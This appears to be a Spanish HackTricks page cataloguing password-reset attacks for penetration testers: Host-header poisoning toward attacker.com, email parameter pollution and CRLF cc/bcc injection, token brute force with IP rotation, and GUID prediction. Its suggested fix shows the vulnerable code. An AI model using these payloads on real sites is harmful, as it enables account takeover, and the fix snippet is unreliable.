hacktricks/pentesting-web/reset-password.md

325 lines
14 KiB
Markdown

# Omisión de Contraseña Restablecida/Olvidada
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
**Últimos Anuncios**\
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
La siguiente recopilación de técnicas fue tomada de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## Fuga de Token de Restablecimiento de Contraseña Vía Referente
El **HTTP referer** es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se está solicitando. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
### Explotación
* Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico.
* Haz clic en el enlace de restablecimiento de contraseña.
* No cambies la contraseña.
* Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter).
* Intercepta la solicitud en el proxy de Burpsuite.
* Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
### Impacto
Permite a la persona que tiene control sobre un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.
### Referencia:
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
## Envenenamiento de Restablecimiento de Contraseña
Si encuentras un ataque de encabezado de host y está fuera de alcance, ¡intenta encontrar el botón de restablecimiento de contraseña!
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
### Explotación
* Intercepta la solicitud de restablecimiento de contraseña en Burpsuite.
* Añade el siguiente encabezado o edita el encabezado en Burpsuite (prueba uno por uno)
```
Host: attacker.com
```
```
Host: target.com
X-Forwarded-Host: attacker.com
```
```
Host: target.com
Host: attacker.com
```
* Verifica si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com
### Solución
Usa `$_SERVER['SERVER_NAME']` en lugar de `$_SERVER['HTTP_HOST']`
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
### Impacto
La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic, revelará el enlace/token de restablecimiento de contraseña del usuario al atacante, lo que llevará a la toma total de la cuenta.
### Referencia:
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
## Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico
### Explotación
* Añadir correo electrónico del atacante como segundo parámetro usando &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* Agregar correo electrónico del atacante como segundo parámetro utilizando %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* Agrega el correo electrónico del atacante como segundo parámetro utilizando |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* Agregar el correo electrónico del atacante como segundo parámetro usando cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Agregar correo electrónico del atacante como segundo parámetro usando bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Agrega el correo electrónico del atacante como segundo parámetro usando ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Agregar correo electrónico del atacante como segundo parámetro en el arreglo json
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
### Referencia
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
## Cambio de Correo Electrónico y Contraseña de cualquier Usuario a través de Parámetros de la API
### Explotación
* El atacante debe iniciar sesión con su cuenta e ir a la función Cambiar contraseña
* Iniciar Burp Suite e Intercepta la solicitud
* Después de interceptar la solicitud, envíala al repetidor y modifica los parámetros Email y Contraseña
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
### Referencia
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
### Sin Límite de Tasa: Bombardeo de Correo Electrónico <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
### Explotación
* Inicia Burp Suite e Intercepta la solicitud de restablecimiento de contraseña
* Enviar a intruso
* Utilizar carga útil nula
### Referencia
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
## Descubre Cómo se Genera el Token de Restablecimiento de Contraseña
Descubre el patrón del token de restablecimiento de contraseña
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
Si está
* Generado basado en Timestamp
* Generado basado en el UserID
* Generado basado en el correo electrónico del Usuario
* Generado basado en Nombre y Apellido
* Generado basado en Fecha de Nacimiento
* Generado basado en Criptografía
Utiliza Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.
## GUID Adivinable
Existen diferentes tipos de GUIDs:
* **Versión 0:** Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
* **Versión 1:** El GUID se genera de manera predecible basado en:
* El tiempo actual
* Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUIDs durante el tiempo de actividad del sistema generador
* Un "ID de nodo", que se genera basado en la dirección MAC del sistema si está disponible
* **Versión 3:** El GUID se genera utilizando un hash MD5 de un nombre y espacio de nombres proporcionados.
* **Versión 4:** El GUID se genera aleatoriamente.
* **Versión 5:** El GUID se genera utilizando un hash SHA1 de un nombre y espacio de nombres proporcionados.
Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: [**guidtool**](https://github.com/intruder-io/guidtool)****
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
Si la versión utilizada para generar un GUID de restablecimiento de contraseña es la versión 1, es posible forzar bruscamente los GUIDS:
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
### Referencias
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
## Manipulación de respuesta: Reemplazar respuesta mala por una buena
Busca solicitudes y respuestas como estas
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
Cambio de Respuesta
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
### Referencia
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
### Uso de Token Expirado <a href="#8-using-expired-token" id="8-using-expired-token"></a>
* Verificar si el token expirado puede ser reutilizado
### Fuerza Bruta en Token de Restablecimiento de Contraseña <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
Intentar realizar fuerza bruta al token de restablecimiento utilizando Burpsuite
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
* Utiliza IP-Rotator en burpsuite para evitar el límite de tasa basado en IP.
### Referencia
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
### Intenta Usar Tu Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
* Intenta agregar tu token de restablecimiento de contraseña con la cuenta de la víctima
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
### Referencia
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
## Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña
Cuando un usuario **cierra sesión o restablece su contraseña**, la sesión actual debería invalidarse.\
Por lo tanto, **captura las cookies** mientras el usuario está conectado, **cierra sesión** y **verifica** si las **cookies** aún son **válidas**.\
Repite el proceso **cambiando la contraseña** en lugar de cerrar sesión.
## Tiempo de Expiración del Token de Restablecimiento
Los **tokens de restablecimiento deben tener un tiempo de expiración**, después de este el token no debería ser válido para cambiar la contraseña de un usuario.
## Verificaciones Adicionales
* Usa username@burp\_collab.net y analiza el callback
* Usuario copia de carbono email=victim@mail.com%0a%0dcc:hacker@mail.com
* Contraseña larga (>200) conduce a DoS
* Añade un segundo parámetro de email y valor
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Perspectivas de Hacking**\
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
**Últimos Anuncios**\
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>